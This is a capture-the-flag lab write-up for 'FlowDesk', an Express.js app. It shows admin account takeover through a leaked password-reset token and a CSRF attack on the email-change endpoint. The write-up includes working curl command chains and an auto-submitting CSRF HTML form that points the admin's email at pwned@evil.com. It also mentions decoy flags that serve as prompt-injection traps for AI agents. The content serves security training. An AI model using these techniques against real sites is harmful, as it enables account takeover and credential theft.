Lab 153 — FlowDesk — CSRF Account Takeover via Email Change
Lab 153 — FlowDesk — CSRF Account Takeover via Email Change
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: admin_account_takeover, csrf_on_email_change_endpoint, decoy_flag_evasion, form_urlencoded_csrf, password_reset_token_disclosure, samesite_lax_top_level_navigation
Summary
Task: Express.js workspace platform where email change endpoint lacks CSRF protection while name/password endpoints are protected. Solution: exploited password reset token disclosure to take over admin account, or alternatively use CSRF via admin bot to change admin's email, then reset password and access admin panel for flag.
Lab 153 — FlowDesk — CSRF Account Takeover via Email Change — HackAdvisor
Description
FlowDesk is a team workspace management platform built by FlowPoint Labs. It provides dashboards for team collaboration, project tracking, and organizational management. The platform includes user account management with profile settings, team administration, notification inbox, and a privileged admin panel for system configuration. Explore the application's account management features and how user interactions work. Pay close attention to how different settings endpoints handle request validation — not all of them may be equally protected. Your goal is to find a vulnerability that could be used to compromise a privileged account and access restricted administrative functions.
English summary: Express.js team workspace app with user settings, admin panel, and an admin bot that visits reported URLs. The email change endpoint lacks CSRF protection, enabling account takeover via the admin bot. Additionally, the password reset endpoint leaks tokens directly in the response HTML.
Analysis
Application Stack
- Backend: Express.js behind nginx/1.25.5
- Session:
connect.sidcookie withHttpOnly; Secure; SameSite=Lax - Key pages:
/dashboard,/settings/profile,/settings/security,/team,/notifications,/support/report,/admin/settings(403 for non-admin) - Admin user: Sarah Chen, email
admin@flowdesk.local(visible on/teampage) - Admin bot:
/support/reportaccepts a URL — "An administrator will visit the page to review the issue" - Decoy flags:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments and hidden divs on every page — prompt injection traps for AI agents
Vulnerability 1: Missing CSRF on Email Change
The settings page at /settings/profile has multiple forms with inconsistent CSRF protection:
| Endpoint | CSRF Token | Status |
|---|---|---|
POST /api/settings/name | ✅ _csrf hidden field | Protected |
POST /api/settings/email | ❌ No token | VULNERABLE |
POST /api/settings/password | ✅ _csrf hidden field | Protected |
The email form's client-side JavaScript sends application/x-www-form-urlencoded via fetch without any CSRF token:
javascript read-only • copy alloweddocument.getElementById('email-form').addEventListener('submit', async function(e) { e.preventDefault(); const form = e.target; const data = new URLSearchParams(new FormData(form)); try { const res = await fetch('/api/settings/email', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: data }); const json = await res.json(); // ... } catch (err) { /* ... */ } });
Confirmed the endpoint works without CSRF:
bash read-only • copy allowedcurl -s -b "$COOKIE" -X POST "$TARGET/api/settings/email" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=test@test.com" # → {"success":true,"message":"Email address updated successfully"}
Vulnerability 2: Password Reset Token Disclosure
The /auth/forgot-password endpoint leaks the reset token directly in the HTML response:
bash read-only • copy allowedcurl -s -X POST "$TARGET/auth/forgot-password" -d "email=admin@flowdesk.local"
Response includes:
html read-only • copy allowed<p class="text-xs text-slate-500 mt-2">Since email delivery is not configured in this environment, here is the reset link:</p> <a href="/auth/reset-password?token=e14dcefc0f1de4063a2849d9e582db5430811bbbf85526f0186968fa3628a30f">...</a>
Solution
Shortcut Path: Direct Token Disclosure
The password reset token disclosure made the full CSRF chain unnecessary:
Step 1: Find admin email from /team page
Admin user: Sarah Chen — admin@flowdesk.local
Step 2: Request password reset and extract leaked token
bash read-only • copy allowedTOKEN=$(curl -s -X POST "$TARGET/auth/forgot-password" \ -d "email=admin@flowdesk.local" | \ grep -oP 'token=\K[a-f0-9]+') echo "Token: $TOKEN"
Step 3: Reset admin password
bash read-only • copy allowedcurl -s -X POST "$TARGET/auth/reset-password" \ -d "token=$TOKEN&password=hacked123&confirm_password=hacked123" # → "Your password has been reset successfully"
Step 4: Login as admin
bash read-only • copy allowedcurl -s -c admin_cookies.txt -X POST "$TARGET/auth/login" \ -d "email=admin@flowdesk.local&password=hacked123" # → 302 redirect to /dashboard
Step 5: Access admin panel
bash read-only • copy allowedcurl -s -b admin_cookies.txt "$TARGET/admin/settings" # → Contains FLAG{REDACTED} in secret_key field
Intended Path: CSRF via Admin Bot
The challenge title indicates the intended solution uses CSRF through the admin bot:
- Change own email from
alex@flowdesk.localto something else (free up a target email) - Create CSRF payload that auto-submits a form to change the admin's email:
html read-only • copy allowed<html> <body> <form id="csrf" method="POST" action="https://TARGET/api/settings/email" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="email" value="pwned@evil.com" /> </form> <script>document.getElementById('csrf').submit();</script> </body> </html>
- Upload to Interaction Server at
http://interact/UUID/csrf.html - Submit URL via
/support/report→ admin bot visits → admin's email changes topwned@evil.com - Request forgot-password for
pwned@evil.com→ get reset token → reset password → login as admin
The CSRF works because:
SameSite=Laxcookies are sent on top-level form POST navigations (the form submit navigates the entire page)application/x-www-form-urlencodedis a CORS "simple" Content-Type — no preflight required- No CSRF token on the email change endpoint